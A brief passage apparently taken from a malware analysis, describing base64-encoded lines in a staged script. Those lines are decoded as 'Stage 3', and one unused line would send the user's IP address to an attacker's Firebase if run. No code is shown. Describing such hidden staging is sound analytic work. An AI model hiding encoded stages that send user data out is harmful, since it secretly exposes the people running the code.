Lines 2110 - 2114 are base64 encoded and can be found decoded here as Stage 3.
They are referenced by line 9 of Stage 1.
Unused lines
If decoded and executed line 2117 would submit the users IP address to the attackers firebase.